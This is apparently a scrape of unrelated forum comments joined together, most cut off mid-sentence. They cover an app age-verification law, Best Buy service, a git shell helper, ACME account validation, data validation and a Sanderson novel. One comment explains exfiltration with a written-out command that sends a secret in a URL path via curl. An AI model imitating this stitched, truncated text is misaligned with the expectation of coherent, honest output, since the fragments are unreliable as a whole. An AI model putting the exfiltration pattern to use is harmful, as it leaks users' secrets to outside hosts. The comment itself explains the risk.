It also applies to application providers. The law requires them to have their applications ask the OS how old the user is whenever it is downloaded and launched.

That's not a guarantee. It's up to how the courts interpret that and. Given that this law is meant to handle a moving target like age, I fully expect them to interpret it as its disjunctive form.

Two important definitions that might surprise people: (a) (1) “Account holder” means an individual who is at least 18 years of age or a parent or legal guardian of a user who is under 18 years of age in the state. (a) (2) “Account holder

As others have pointed out, this is just a foot in the door. There's also a part of the law this article doesn't cover that requires EVERY application to query this information on every launch, regardless of whether or not the app

I stopped patronizing Best Buy when their store phone numbers started going to a corporate call center that couldn't tell me if something I was looking for was in stock at the store.

Here's a little extra magic so that you don't even need to be in the root of the repository to create such a temporary file (you'll have to change the readlink invocation if you're on MacOS): git-ignore-local () {

You still want to put these kinds of things in every project where you are collaborating. You can't depend on everyone to know and do this, so best to just be prepared for those who don't.

I doubt it. This bill has extremely deep problems. The constrain of a "real-time application programming interface" has no legislative priors and little concrete technical merit. This requirement on its face requires that all oper

That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google

There's a missing part here, and that's validating your ACME account ownership. I think most users depend on automation that creates their accounts, so they never have to deal with it. But now, you need to propagate some credentia

When I came to this idea on my own, I called it "translation at the edge." But for me it was more that just centralizing data validation, it also was about giving you access to all the tools your programming language has for manip

I think your summary of act 4 is uncharitable. Every book of Sanderson's I've read has been about showing unexpected ways the rules could be combined, not surprise new rules.
